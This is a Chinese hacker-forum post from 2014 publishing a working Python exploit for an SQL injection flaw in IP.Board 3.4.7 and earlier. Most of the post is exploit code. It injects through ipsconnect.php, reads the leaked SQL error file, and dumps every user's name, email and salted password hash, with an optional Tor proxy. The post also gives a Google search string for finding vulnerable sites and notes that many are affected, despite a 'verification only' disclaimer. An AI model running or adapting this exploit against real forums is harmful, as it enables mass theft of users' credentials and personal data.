搜索
查看: 373|回复: 0

IP.Board<=3.4.7 SQL注入漏洞(0day)POC

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-11-12 01:23:50 | 显示全部楼层 |阅读模式
近日IP.Board <= 3.4.7爆出重要0day漏洞。IPB论坛全称为Invision Power Board(缩写为IPB或IP.Board),是世界上最著名的论坛程序之一,由PHP+Mysql架构。
漏洞成因是酱紫的,interface/ipsconnect/ipsconnect.php页面的没有正确处理id参数。导致网站出现sql error,漏洞会把sql error写入/cache/sql_error_latest.cgi。通过不断遍历读取数据,可以获取到相应敏感信息。

漏洞POC(仅供网站安全验证,禁止非法用途)
  1. #!/usr/bin/env python
  2. # Sunday, November 09, 2014 - secthrowaway [ at ] safe-mail.net
  3. # IP.Board <= 3.4.7 SQLi (blind, error based);
  4. # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

  5. url = 'http://target.tld/forum/'
  6. ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

  7. import sys, re

  8. # <socks> - http://sourceforge.net/projects/socksipy/
  9. #import socks, socket
  10. #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  11. #socket.socket = socks.socksocket
  12. # </socks>

  13. import urllib2, urllib

  14. def inject(sql):
  15.         try:
  16.                 urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login觔 =id[]=-1[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
  17.         except urllib2.HTTPError, e:
  18.                 if e.code == 503:
  19.                         data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
  20.                         txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
  21.                         if txt is not None:
  22.                                 return txt.group(1)
  23.                         sys.exit('Error [3], received unexpected data:\n%s' % data)
  24.                 sys.exit('Error [1]')
  25.         sys.exit('Error [2]')

  26. def get(name, table, num):
  27.         sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
  28.         s = int(inject('LENGTH((%s))' % sqli))
  29.         if s < 31:
  30.                 return inject(sqli)
  31.         else:
  32.                 r = ''
  33.                 for i in range(1, s+1, 31):
  34.                         r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
  35.                 return r

  36. n = inject('SELECT COUNT(*) FROM members')
  37. print '* Found %s users' % n
  38. for j in range(int(n)):       
  39.         print get('member_id', 'members', j)
  40.         print get('name', 'members', j)
  41.         print get('email', 'members', j)
  42.         print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
  43.         print '----------------'
复制代码

POC来源:https://www.marshut.net/krtqnk/ip-board-3-4-7-sql-injection.html
Google关键字:inurl:Software by IP.Board 3.4. inurl:Forum
国外受影响的站点还是比较多的。
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表